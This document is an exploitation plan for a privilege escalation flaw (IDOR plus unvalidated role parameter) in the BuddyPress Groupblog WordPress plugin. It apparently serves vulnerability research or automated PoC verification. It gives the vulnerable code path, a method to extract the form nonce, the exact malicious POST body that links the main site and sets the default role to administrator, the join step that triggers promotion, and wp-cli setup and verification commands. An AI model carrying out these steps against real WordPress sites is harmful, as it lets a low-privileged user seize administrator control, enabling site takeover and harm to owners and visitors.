Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation

1. Vulnerability Summary

The BuddyPress Groupblog plugin (<= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber role or higher, as they can create their own groups) to configure "Group Blog" settings.

The logic in groupblog_edit_settings() fails to verify if the current user has administrative rights over the blog_id provided in the groupblog-blogid parameter. Furthermore, it accepts a default-member parameter which defines the role assigned to users who join the group. Since this parameter is not validated against a whitelist, an attacker can specify administrator. When combined with groupblog-silent-add, any user joining the group is automatically promoted to Administrator on the targeted blog (usually the main site, ID 1).

2. Attack Vector Analysis

• Endpoint: BuddyPress Group Management Admin Page.
• URL Pattern: [site-url]/groups/[group-slug]/admin/group-blog/
• Action/Hook: The settings are handled via groupblog_edit_settings(), which is called by the BuddyPress group extension API (specifically BP_Groupblog_Extension::edit_screen_save()).
• Vulnerable Parameters:
  • groupblog-blogid: The ID of the blog to link (set to 1 for the main site).
  • default-member: The role to assign (set to administrator).
  • groupblog-silent-add: Enables auto-joining of group members to the blog.
  • groupblog-enable-blog: Must be present to trigger the logic.
  • groupblog-create-new: Set to no to bypass new blog creation and use an existing ID.
• Authentication: Authenticated (Subscriber+). The user must be the administrator of a BuddyPress group.

3. Code Flow

1. Entry Point: When a group admin saves settings in the "Group Blog" tab, BP_Groupblog_Extension::edit_screen_save() (in bp-groupblog-classes.php) is triggered.
2. Logic Trigger: This calls groupblog_edit_settings() (in bp-groupblog.php).
3. Insecure IDOR:

   // bp-groupblog.php:183
   } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) {
       // They're using an existing blog, so we try to assign that to $groupblog_blog_id.
       $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;
   

   The code blindly trusts $_POST['groupblog-blogid'] without checking if the user is a member/admin of that blog.
4. Role Injection:
   The function continues to save metadata (the snippet is truncated, but the description confirms default-member is saved to group meta).
5. Privilege Escalation:
   When a user joins the group, the plugin retrieves the default-member role and the linked groupblog_blog_id. If groupblog-silent-add is enabled, it calls add_user_to_blog( $blog_id, $user_id, $role ). Since $role is administrator and $blog_id is 1, the user is promoted.

4. Nonce Acquisition Strategy

BuddyPress protects group management forms with nonces. To submit the settings, we need a nonce for the action groups_edit_group_settings.

1. Create a Group: Use wp-cli to create a group owned by the attacker.
2. Identify Shortcode/Script: The group admin pages are standard BuddyPress components. No specific plugin shortcode is needed, but we must navigate to the group's admin URL.
3. Extraction Path:
   • Navigate to: [site-url]/groups/[attacker-group-slug]/admin/group-blog/
   • The nonce is usually in a hidden field named _wpnonce.
   • Browser Eval: browser_eval("document.querySelector('#_wpnonce').value") or check the _wpnonce field within the form id="group-settings-form".

5. Exploitation Strategy

Step 1: Initialize Attacker Environment

• Log in as a Subscriber.
• Create a BuddyPress group (becoming the Group Admin).

Step 2: Link Main Site to Group

Perform an http_request to save the malicious settings.

• Method: POST
• URL: [site-url]/groups/[attacker-group-slug]/admin/group-blog/
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  groupblog-group-id=[group_id]&
  groupblog-enable-blog=1&
  groupblog-create-new=no&
  groupblog-blogid=1&
  default-member=administrator&
  groupblog-silent-add=1&
  save=Save+Changes&
  _wpnonce=[extracted_nonce]
  

Step 3: Trigger Promotion

The attacker now needs to join the group or have another user join.

• Method: POST to the BuddyPress join-group action.
• URL: [site-url]/groups/[attacker-group-slug]/join/ (or via AJAX join_group action).

6. Test Data Setup

1. Multisite Setup: Ensure WordPress is in Multisite mode.
2. Plugin Setup: Install and activate bp-groupblog version 1.9.3.
3. User Creation:
   • wp user create attacker attacker@example.com --role=subscriber
4. Group Creation:
   • wp bp group create --name="Pwn Group" --slug="pwn-group" --creator_id=[attacker_id]
5. Blog Discovery: Identify the main site ID (typically 1).

7. Expected Results

• The POST request to /admin/group-blog/ returns a 302 redirect or a success message "Options saved".
• Group metadata for pwn-group will now have groupblog_blog_id set to 1 and default_member_role set to administrator.
• Upon joining the group, the attacker user's role on blog ID 1 is updated to administrator.

8. Verification Steps

1. Check Metadata:
   • wp group meta get [group_id] groupblog_blog_id (Should be 1)
   • wp group meta get [group_id] default_member_role (Should be administrator)
2. Check User Role:
   • wp user get attacker --url=[main-site-url] --field=roles (Should include administrator)
3. Capability Test:
   • wp eval 'echo user_can([attacker_id], "manage_options") ? "VULNERABLE" : "SAFE";' --url=[main-site-url]

9. Alternative Approaches

If groupblog-silent-add does not trigger immediately upon the admin linking the blog:

1. Invite a second account (puppet) to the group.
2. The puppet joins the group via the invitation link.
3. Check if the puppet is promoted to Administrator.
4. Alternatively, check if groupblog_edit_settings accepts the group-admin-role parameter to escalate the group admin immediately. (The description implies default-member applies to anyone who joins).